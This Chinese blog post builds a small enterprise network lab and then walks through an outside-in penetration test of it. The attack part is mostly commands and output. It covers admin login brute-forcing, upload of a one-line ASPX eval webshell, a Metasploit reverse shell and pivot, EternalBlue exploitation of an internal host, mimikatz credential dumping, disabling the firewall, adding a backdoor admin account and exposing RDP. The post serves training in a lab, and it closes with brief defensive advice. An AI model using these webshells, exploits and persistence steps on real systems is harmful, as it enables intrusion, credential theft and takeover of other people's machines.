从0到1学会搭建小型企业拓扑到由外向内的渗透测试
source link: https://qftm.github.io/2020/06/22/pentesting1/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
最近的一个培训活动,需要搭建一个小型企业网络环境,并针对整个企业环境做一个渗透测试评估,包括从企业网络拓扑规划、部署到企业网络内外网的渗透测试,整个详细过程如下。
规划小型企业拓扑架构:使用Cisco
模拟器PacketTracer7
或GNS3
进行拓扑的规划模拟
网络分布主要分为外网和内网两大部分,在边界路由器中外网IP段为:192.33.6.0/24
、内网IP网段为:192.168.9.0/24
本地拓扑的搭建部署使用vmware workstation
多台主机去真实部署。其中,边界路由器使用Windows Server2003
加持多块网卡,外网边界的网卡使用NAT模式正常建立外网的通信服务,内网边界的网卡使用仅主机模式,建立一个小型局域网。内部服务器包括WWW、DHCP等部署在一台主机Windows Server2003
中,当然这里可以使用多台主机分别部署相应的服务。内部普通主机用一台Windows7
来表示。
DHCP服务器搭建
内网DHCP服务器负责内网上线主机的IP分配,在搭建DHCP服务器的时候vmware workstation
中充当内网网卡的接口上需要去掉默认的DHCP配置,避免vmware workstation
中DHCP服务的影响。
正式在Windows Server2003
上部署DHCP服务
首先设置主机固定IP:Network-192.168.9.50
、Netmask-255.255.255.0
、Gateway-192.168.9.254
下来添加Windows组件进行DHCP服务的安装设置:在控制面板里面找到添加或删除应用程序,进入里面选择添加或删除Windows组件,找到网络服务开启动态主机配置协议(DHCP)
继续下一步设置DHCP地址范围、添加路由器(默认网关)、DNS
配置完成之后,回到桌面依次点击开始-程序-管理工具-dhcp
进入dhcp服务中心,通过DHCP Server的地址租约以及内网主机IP配置,查看DHCP给内网主机分配的IP情况
从上面可以看到dhcp服务正常运行,测试内网主机与服务器的连通性
内外网边界NAT
由于内网是一个小型局域网,所以在边界路由器还未做出相关配置时内网主机与外界的通信是隔离的,要想内网主机可以访问外网就需要在边界路由器上做NAT转换。
在桌面依次点击开始-程序-管理工具-路由和远程访问
进入路由和远程访问服务器,Server中右键配置并启用路由和远程访问,之后开始配置网络地址转换(NAT)
边界路由NAT配置完成之后,在内网普通主机win7上进行测试:
从上图NAT配置之前之后对比可以看到NAT在内网访问外网的效果,那么外网对内网的访问效果又是如何呢,这里事实上外网主机是不能够直接与内网主机进行通信的,同时在外网的主机是不知道企业内网的拓扑结构情况。
WWW服务器搭建
WWW服务器负责提供web站点部署公司网站发布重要信息等,这里使用Windows Server2003+IIS进行部署:同样在控制面板里面找到添加或删除应用程序,进入里面选择添加或删除Windows组件,找到应用程序服务器在里面勾选ASP.NET
和IIS
进行安装。
相关组件安装完成之后,在桌面依次点击开始-程序-管理工具-IIS
进入Internet信息服务(IIS)管理器
中,在里面创建自己的web站点,这里可以禁用IIS默认提供的web站点wwwroot
,自己创建并部署一个新的web站点0791idc
基本部署完成之后还需要在web服务扩展里面开启相应的服务扩展
一切部署完毕之后,开始在内网普通主机win7上测试www服务器web站点的工作情况
WWW服务器发布
在企业边界路由器还未进行相应配置时,外网主机是无法直接访问内网中的www服务器也不知道内网的拓扑结构,但是企业肯定是需要外网主机可以访问自己公司的web站点服务,那么这个时候就需要在边界路由器设置端口映射,将内网www服务器发布出去,使外网主机可以正常访问内网所提供的www服务:在桌面依次点击开始-程序-管理工具-路由和远程访问-SERVER-IP路由选择
找到NAT/基本防火墙
然后右键本地连接(外网边界路由器网卡接口)进入本地连接属性勾选Web服务器(HTTP)
进行设置内网www服务器的端口映射
边界路由设置完内网www服务器端口映射之后,测试外网主机192.33.6.150
是否可以正常访问内网所发布出来的Web站点服务:注意访问的IP-192.33.6.200为外网边界路由器网卡接口IP
Web渗透
对网站进行敏感信息收集:此处使用dirsearch: Web path scanner进行扫描探测
根据探测到的信息,访问admin
路径,得到管理员后台
分析后台登陆存在账户名+账户密码+验证码三个字段来验证。首先探测验证码变化情况,拦截请求数据包发现在一个会话之内同一个验证码不影响拦截请求包的多次请求响应
既然验证码是上述那样的机制,那么就可以直接爆破后台管理员的账户和密码:使用burpsuite的intruder模块进行爆破,针对UserName
和Password
两个字段进行设置破解
从上可知得到一组管理员账号密码admin1:123456
,使用admin1账户成功登陆后台进入后台管理界面
在后台界面寻找可利用模块,首先在荣誉管理下添加企业形象中发现存在图片上传功能:抓包看是否能绕过限制上传Webshell,发现存在白名单限制,只能上传图片马UploadFiles/2020621233114154.jpg
继续寻找是否存在其余可利用点,在系统管理界面下发现存在数据库备份功能,该功能可以修改服务器上任意原始文件名并重新备存保存在数据库备份目录下,于是可以尝试修改前面上传的图片马文件名称
可以看到修改成功,但是好像存在.asa
后缀,不过使用.asa
后缀是无法访问的,不加.asa
后缀可以正常访问文件,怀疑是一个假后缀!!
既然是假后缀,直接使用蚁剑进行连接管理上传的Webshell,连上Webshell之后却发现不能执行cmd命令。。。
针对这个问题怀疑是服务端asp不支持cmd的问题,既然这样尝试上传自己的CMD.exe
却发现服务器不让上传exe
可执行文件,而其他所有文件都可以上传。。。
没办法了只有尝试上传aspx的木马webshell【aspx与asp的差异性】进行利用:按照上面步骤上传aspx大马文件(或者简单一句话木马),使用大马文件中的执行cmd命令模块发现可以执行并有回显(这里使用一句话aspx木马蚁剑连接,虚拟终端也是可以正常使用的)
- 一句话木马aspx
一句话aspx木马 <%@ Page Language="Jscript"%><%eval(Request.Item["Admin"],"unsafe");%>
蚁剑虚拟终端:
(*) 基础信息
当前路径: C:/Inetpub/0791idc/admin/Databackup
磁盘列表: C:D:
系统信息: Microsoft Windows NT 5.2.3790.0
当前用户: NETWORK SERVICE
(*) 输入 ashelp 查看本地命令
C:\Inetpub\0791idc\admin\Databackup> whoami
nt authority\network service
系统找不到指定的路径。
c:\windows\system32\inetsrv>
- 大马aspx
由于查看web服务器系统权限为authority\network service
,所以向服务器上传提权工具进行提权:上传目录为C:\RECYCLER\
【为什么上传目录是这个目录呢,因为这个特殊目录在Windows中一般情况下不管什么用户都具有可写权限】
在已经拿到的www服务器上查看web服务器的真实IP地址信息会发现,和访问的地址不一样,而查出的这个地址192.168.9.50
是其真实的IP地址,也就是其所处的内网IP地址
已经知道了www服务器的内网IP地址,也确定了存在内网,那么下一步为了方便,开始制作msf后门程序反弹一个shell给msf,以www服务器为跳板对内网就行进一步的探索与发现
这里使用msfvenom制作木马后门程序反弹shell给msf并在msf中开启监听(如果对方www服务器存在安全软件,就要考虑相应的免杀操作)
继续使用上面的Webshell-admini.aspx上传msf.exe到www服务器中,执行反弹shell给msf
在反弹回来的meterpreter中添加内网路由使得msf可以访问内网(msf以www服务器为跳板访问内网主机)
MSF的跳板功能,其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话。
MSF 路由添加帮助查询命令如下:
meterpreter > run autoroute -h
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Usage: run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0
[*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0
[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay
[*] run autoroute -p # Print active routing table
[*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
[-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
meterpreter >
获取目标内网地址段:具体获取被攻击目标内网地址网段的命令如下所示:
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.9.0/255.255.255.0
meterpreter >
由上可以获知,目标内网网段是“192.168.9.0/24”
添加去往目标网段的转发路由:在meterpreter 会话上直接添加去往目标网段的路由,具体添加方法如下所示。
meterpreter > run autoroute -s 192.168.9.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.9.0/255.255.255.0...
[+] Added route to 192.168.9.0/255.255.255.0 via 192.33.6.200
[*] Use the -p option to list all active routes
meterpreter >
添加网路由后,我们来查看下路由的添加情况如何,具体命令如下所示:
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
192.168.9.0 255.255.255.0 Session 1
meterpreter >
从上面内容,我们可以看到添加的一条路由信息:
目标:192.168.9.0 掩码:255.255.255.0 下一跳网关:Session 1
这里的 Session 1,即当前被攻击目标主机与MSF平台建立的meterperter会话。
到这里,MSF平台就有了去往内网网段的路由,我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。
使用arp_scanner
模块扫描探测内网存活主机
meterpreter > run arp_scanner -r 192.168.9.0/24
[*] ARP Scanning 192.168.9.0/24
[*] IP: 192.168.9.50 MAC 00:0c:29:23:57:f3
[*] IP: 192.168.9.101 MAC 00:0c:29:fb:6f:2e
[*] IP: 192.168.9.254 MAC 00:0c:29:8c:0f:e7
meterpreter >
发现存在内网主机除www服务器以外的另一台内网主机:192.168.9.101,下来对这台内网主机进行全面的信息收集
使用msf辅助模块对主机192.168.9.101
进行端口扫描
msf5 auxiliary(server/socks5) > use auxiliary/scanner/portscan/tcp
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 auxiliary(scanner/portscan/tcp) > set ports 1-65535
ports => 1-65535
msf5 auxiliary(scanner/portscan/tcp) > set threads 100
threads => 100
msf5 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.9.101: - 192.168.9.101:135 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:139 - TCP OPEN
[+] 192.168.9.101: - 192.168.9.101:445 - TCP OPEN
[*] 192.168.9.101: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/portscan/tcp) >
PS:注意这里不能直接使用Nmap进行信息收集,因为上文的msf路由只是作用于msf上下文,而不是整个主机上的应用。那么怎么样才能正常使用主机上的nmap呢,这里就需要在msf中利用辅助模块开启socks代理并设置proxychains。
知道了内网主机开启了445端口,那么使用永恒之蓝漏洞ms17-010
对其进行探测是否存在相应漏洞
搜索相应模块: ms17-010
msf5 auxiliary(scanner/portscan/tcp) > search ms17_010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
msf5 auxiliary(scanner/portscan/tcp) >
使用该模块ms17-010
进行探测:
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.9.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.9.101:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/smb/smb_ms17_010) >
探测到主机为Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
并且存在永恒之蓝漏洞,使用ms17-010攻击模块对内网主机192.168.9.101
进行攻击。
使用相应ms17-010攻击模块进行内网主机192.168.9.101
的攻击
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.9.101
rhosts => 192.168.9.101
msf5 exploit(windows/smb/ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) >
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.33.6.150:8443
[*] 192.168.9.101:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.9.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.9.101:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.9.101:445 - Connecting to target for exploitation.
[+] 192.168.9.101:445 - Connection established for exploitation.
[+] 192.168.9.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.9.101:445 - CORE raw buffer dump (40 bytes)
[*] 192.168.9.101:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 45 6e 74 65 72 70 Windows 7 Enterp
[*] 192.168.9.101:445 - 0x00000010 72 69 73 65 20 37 36 30 31 20 53 65 72 76 69 63 rise 7601 Servic
[*] 192.168.9.101:445 - 0x00000020 65 20 50 61 63 6b 20 31 e Pack 1
[+] 192.168.9.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.9.101:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.9.101:445 - Sending all but last fragment of exploit packet
[*] 192.168.9.101:445 - Starting non-paged pool grooming
[+] 192.168.9.101:445 - Sending SMBv2 buffers
[+] 192.168.9.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.9.101:445 - Sending final SMBv2 buffers.
[*] 192.168.9.101:445 - Sending last fragment of exploit packet!
[*] 192.168.9.101:445 - Receiving response from exploit packet
[+] 192.168.9.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.9.101:445 - Sending egg to corrupted connection.
[*] 192.168.9.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 192.33.6.200
[*] Meterpreter session 3 opened (192.33.6.150:8443 -> 192.33.6.200:63021) at 2020-06-21 15:01:11 -0400
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.9.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
可以看到永恒之蓝漏洞利用成功,查看系统权限、IP等信息
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:fb:6f:2e
MTU : 1500
IPv4 Address : 192.168.9.101
IPv4 Netmask : 255.255.255.0
meterpreter >
加载第三方模块mimikatz
抓取系统账户信息:抓取到一组普通用户root:root
meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate WORKGROUP WIN-5DTIE0M734E$
0;49298 NTLM
0;999 NTLM WORKGROUP WIN-5DTIE0M734E$
0;289498 NTLM WIN-5DTIE0M734E root root
0;289452 NTLM WIN-5DTIE0M734E root root
meterpreter >
关闭内网主机防火墙、添加管理员、开启3389
meterpreter > shell
Process 1188 created.
Channel 3 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>netsh advfirewall set allprofiles state off
netsh advfirewall set allprofiles state off
ȷ����
C:\Windows\system32>
C:\Windows\system32>net user qftm0 123 /add
net user qftm0 123 /add
�����ɹ����ɡ�
C:\Windows\system32>net localgroup administrators qftm0 /add
net localgroup administrators qftm0 /add
�����ɹ����ɡ�
C:\Windows\system32>
C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
�����ɹ����ɡ�
C:\Windows\system32>
使用meterpreter中端口映射工具portfwd将内网主机3389端口映射出去,使得外网主机可以远程控制内网主机
meterpreter > portfwd add -L 192.33.6.150 -l 7777 -p 3389 -r 192.168.9.101
[*] Local TCP relay created: 192.33.6.150:7777 <-> 192.168.9.101:3389
meterpreter > portfwd list
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 192.33.6.150:7777 192.168.9.101:3389 Forward
1 total active port forwards.
meterpreter >
PS:-L表示外网主机IP、-r表示内网主机IP、-p、-l表示将内网3389端口转发到外网主机的7777端口
上述工作做完之后,使用添加的管理员账户远程连接内网主机:192.168.9.101:3389
—> 192.33.6.150:7777
到这里测试评估的工作已经基本做完了,最后查看一下msf中所有的会话session信息
msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ SERVER 192.33.6.150:3333 -> 192.33.6.200:62901 (192.168.9.50)
3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-5DTIE0M734E 192.33.6.150:8443 -> 192.33.6.200:63021 (192.168.9.101)
msf5 >
- www服务器部署WAF
- 边界路由做防火墙
- 部署IPS安全设备
- 内网服务器设置专属的DMZ区域,配置访问控制【DMZ不可以访问内网、但内网可以访问DMZ】
- 资产的管理
- 系统漏洞或软件漏洞及时更新或打补丁
网络安全的本质就是攻防对抗。攻击者会不断寻找防护方的弱点,防护方也需要不断研究攻击者的思维,探索应对攻击者攻击的方法,提升安全防护的能力和效率。
文章首发于安全客:https://www.anquanke.com/post/id/208992
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK